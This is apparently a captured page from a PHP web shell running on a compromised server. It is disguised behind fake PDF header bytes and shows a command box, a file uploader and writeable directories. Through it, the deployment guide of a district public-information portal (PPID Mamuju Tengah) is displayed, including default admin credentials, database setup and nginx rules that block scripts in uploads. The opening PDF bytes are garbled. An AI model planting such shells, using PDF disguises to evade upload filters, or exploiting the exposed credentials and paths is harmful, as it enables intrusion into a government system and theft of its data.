%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/DEPLOYMENT.md
# Panduan Deploy — Portal PPID Kabupaten Mamuju Tengah

Dokumen untuk **tim server**. Aplikasi ini **PHP native** (tanpa framework) + **MySQL**.
Server **TIDAK memerlukan Node.js/Composer** — seluruh aset front-end sudah dikompilasi
dan ikut di repository (`assets/css/app.css`).

---

## 1. Kebutuhan server

| Komponen | Versi / Catatan |
|---|---|
| PHP | **8.1 atau lebih baru** (ekstensi: `pdo_mysql`, `mbstring`, `fileinfo`, `zip`) |
| Database | MySQL 5.7+ / MariaDB 10.3+ |
| Web server | Apache (dengan `mod_rewrite`) **atau** Nginx (perlu konfigurasi, lihat §5) |
| PHP upload | `upload_max_filesize` ≥ **10M**, `post_max_size` ≥ **12M** (aplikasi membatasi 10 MB) |

---

## 2. Instalasi pertama kali

```bash
# 1) Ambil kode
cd /var/www                      # sesuaikan
git clone https://github.com/pemkab-mateng/new-ppid-app.git ppid
cd ppid

# 2) Buat konfigurasi database (TIDAK ada di repo — sengaja)
cp config/database.example.php config/database.php
```

Edit `config/database.php`, isi kredensial server:

```php
define('DB_HOST', 'localhost');
define('DB_PORT', '3306');
define('DB_NAME', 'nama_database');
define('DB_USER', 'user_database');
define('DB_PASS', 'password_database');
```

```bash
# 3) Buat database lalu impor struktur + data awal
mysql -u root -p -e "CREATE DATABASE nama_database CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;"
mysql -u user_database -p nama_database < database/ppid_mateng.sql

# 4) migrasi skema (tabel yang ditambahkan setelah baseline)
php scripts/migrate.php

# 5) Izin tulis untuk folder upload (dokumen & foto berita/galeri)
chown -R www-data:www-data uploads/     # sesuaikan user web server
chmod -R 775 uploads/
```

**Document root** diarahkan ke folder proyek (yang berisi `index.php`).

---

## 3. Setelah live — WAJIB

Login ke `https://DOMAIN/admin/login` dengan:

- Username: `admin`
- Password: `admin123`

> 🔴 **SEGERA GANTI PASSWORD INI.** Password default tercantum di repository,
> jadi harus diubah pada login pertama (menu **Manajemen User**).

Isi database awal: struktur lengkap + data master (31 UPD, 54 desa, 5 kategori,
5 direktori). Tabel permohonan/keberatan/saran/testimoni/berita **sengaja kosong**.

---

## 4. Prosedur update berikutnya

```bash
cd /var/www/ppid
git pull
php scripts/migrate.php     # jalankan migrasi skema DB yang tertunda (aman diulang)
```

Selesai. Tidak ada langkah build di server. `php scripts/migrate.php` menerapkan
perubahan struktur DB (bila ada migrasi baru); bila tidak ada, ia hanya berkata
"tidak ada migrasi tertunda". Cek status kapan saja: `php scripts/migrate.php status`.

**Aman secara otomatis — `git pull` TIDAK akan menimpa:**
- `config/database.php` (kredensial server) — tidak dilacak git
- `uploads/` (dokumen & foto yang diunggah pengguna) — tidak dilacak git

**Jangan pernah** menjalankan ulang `database/ppid_mateng.sql` di server yang sudah
berisi data — berkas itu memuat `DROP TABLE` (hanya untuk instalasi baru). Perubahan
skema **selalu** lewat migrasi: taruh berkas `.sql` di `migrations/` lalu jalankan
`php scripts/migrate.php`. Detail: `migrations/README.md`.

---

## 5. Konfigurasi web server

Aplikasi memakai **URL bersih tanpa `.php`** (mis. `/profil`, bukan `/profil.php`).

### 5a. Apache

Sudah tersedia lewat `.htaccess` di repo. Yang perlu dipastikan:

1. **`mod_rewrite` aktif** — tanpa ini semua halaman **404**.
2. **`AllowOverride All`** pada blok direktori proyek, agar `.htaccess` dibaca.

```apache
<Directory /var/www/ppid>
    AllowOverride All
    Require all granted
</Directory>
```

Opsional (aktif otomatis bila modulnya ada, aman bila tidak): `mod_deflate`,
`mod_expires`, `mod_filter` untuk gzip & cache.

### 5b. Nginx

Nginx **tidak membaca `.htaccess`**. Gunakan konfigurasi berikut:

```nginx
server {
    listen 80;
    server_name DOMAIN_ANDA;
    root /var/www/ppid;
    index index.php index.html;
    charset utf-8;

    client_max_body_size 12M;          # untuk unggah dokumen 10 MB

    # URL bersih tanpa .php  (/profil -> /profil.php)
    location / {
        try_files $uri $uri/ $uri.php$is_args$args;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php8.1-fpm.sock;   # sesuaikan versi PHP
    }

    # Folder sensitif tidak boleh diakses langsung
    location ~ ^/(config|includes|database|resources|scripts|migrations)/ { deny all; }
    location ~ /\.(git|env|htaccess)                          { deny all; }

    # Folder unggahan: jangan pernah eksekusi skrip di sini
    location ^~ /uploads/ {
        location ~ \.(php|phtml|pl|py|cgi|sh|asp|aspx)$ { deny all; }
    }

    # Kompresi
    gzip on;
    gzip_min_length 1024;
    gzip_types text/plain text/css application/javascript application/json image/svg+xml;

    # Cache aset statis
    location ~* \.(css|js|png|jpe?g|gif|webp|svg|ico|woff2?|mp4)$ {
        expires 1y;
        add_header Cache-Control "public, immutable";
    }
}
```

---

## 6. Catatan keamanan

- Mode error **otomatis**: domain produksi → `production` (pesan error disembunyikan);
  `localhost`/`.test`/`.local` → `development`. Tidak perlu mengubah berkas apa pun.
  Untuk memaksa: set variabel lingkungan `APP_ENV`.
- `config/`, `includes/`, `database/` sudah dilindungi `.htaccess` masing-masing;
  pada Nginx gunakan aturan `deny all` di §5b.
- `uploads/` diblokir dari eksekusi skrip lewat `<FilesMatch>` (Apache) / `deny` (Nginx).
- Disarankan memasang **HTTPS** (mis. Let's Encrypt) dan mengarahkan HTTP → HTTPS.

---

## 7. Pemecahan masalah

| Gejala | Penyebab paling mungkin |
|---|---|
| Semua halaman **404** | `mod_rewrite` mati / `AllowOverride` bukan `All` (Apache), atau blok `try_files` belum dipasang (Nginx) |
| **500** di semua halaman | Direktif `.htaccess` tak didukung; cek `error_log` Apache |
| **500** hanya di `/uploads/*` | Direktif `php_flag` — sudah dibungkus `<IfModule>`, pastikan repo terbaru |
| Tampilan polos tanpa gaya | `assets/css/app.css` tidak ikut ter-deploy atau diblokir |
| "Konfigurasi database belum dibuat" | `config/database.php` belum disalin dari `.example` |
| Gagal unggah dokumen | `uploads/` tidak writable, atau `upload_max_filesize` < 10M |

Kontol Shell Bypass